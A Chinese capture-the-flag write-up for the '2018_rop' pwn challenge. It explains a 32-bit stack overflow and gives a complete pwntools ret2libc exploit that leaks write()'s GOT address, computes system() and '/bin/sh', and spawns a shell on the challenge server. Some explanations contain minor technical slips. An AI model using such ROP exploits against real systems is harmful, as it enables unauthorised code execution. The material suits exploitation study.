铁人三项(第五赛区)_2018_rop

前置工作

先 CheckSec,结果如下

┌──(ela㉿kali)-[~/Pwn]
└─$ checksec 2018_rop
[*] '/home/ela/Pwn/2018_rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

开启了 NX,ShellCode 无缘,而且题目叫 ROP,肯定就是 ROP

用 IDA 打开主程序

int __cdecl main(int argc, const char **argv, const char **envp)
{
be_nice_to_people();
vulnerable_function();
return write(1, "Hello, World\n", 0xDu);
}

然后是 vulnerable_function()

ssize_t vulnerable_function()
{
char buf[136]; // [esp+10h] [ebp-88h] BYREF

return read(0, buf, 0x100u);
}

这里可以造成栈溢出,注入点找到了

仔细看了一圈,发现没有 system() 函数和 /bin/sh 字符串,看来得构造

再看了看,感觉可以从主程序的 write() 函数算出来基地址

想试试看 ROPgadget,结果发现没有能用的 pop rdi; ret,那只能用别的方法了

构造 Payload 1

main_addr = elf.symbols["main"]
write_plt = elf.plt["write"]
write_got = elf.got["write"]

payload1 = b"A" * (0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload1)

以下是对于 Payload 1 的一些解释(由 ChatGPT 生成)

  1. “A” * (0x88 + 0x4): 这是填充部分,用于填充到返回地址之前的缓冲区,以覆盖返回地址。0x88 是缓冲区的长度,0x4 是因为你使用了32位的地址,所以填充4个字节

  2. p32(write_plt): 这部分将 write 函数的地址(write_plt)添加到ROP链中,以便在下一次返回时跳转到 write 函数

  3. p32(main_addr): 这一部分是设置返回地址,将程序重新返回到 main 函数。这是为了让程序能够重新执行,以便进行下一步的攻击

  4. p32(1): 这是将 write 函数的参数 fd 设置为标准输出(文件描述符1),以便在泄漏数据时将其写入标准输出

  5. p32(write_got): 这一部分是将 write 函数的GOT表项的地址(write_got)添加到ROP链中,以便在执行 write 函数时可以泄漏其真实地址

  6. p32(4): 这是 write 函数的参数 n,表示要读取的字节数

计算 Libc 基址

接受返回数据,获得 write() 的实际地址,然后计算基址,接着就是计算 system()/bin/sh 的实际地址

write_addr = u32(io.recv(4).strip().ljust(4, b"\0"))
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")

system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")

构造 Payload 2

payload2 = b"A" * (0x88 + 0x4) + p32(system_addr) + p32(0) + p32(bin_sh_addr)
io.sendline(payload2)

附总 Exp

from pwn import *
from LibcSearcher import *

p32 = lambda x: pack(x, 32)
u32 = lambda x: unpack(x, 32)

io = remote("node4.buuoj.cn", 27742)
elf = ELF("./2018_rop")

main_addr = elf.symbols["main"]
write_plt = elf.plt["write"]
write_got = elf.got["write"]

payload1 = b"A" * (0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload1)

write_addr = u32(io.recv(4).strip().ljust(4, b"\0"))
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")

system_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")

payload2 = b"A" * (0x88 + 0x4) + p32(system_addr) + p32(0) + p32(bin_sh_addr)
io.sendline(payload2)

io.interactive()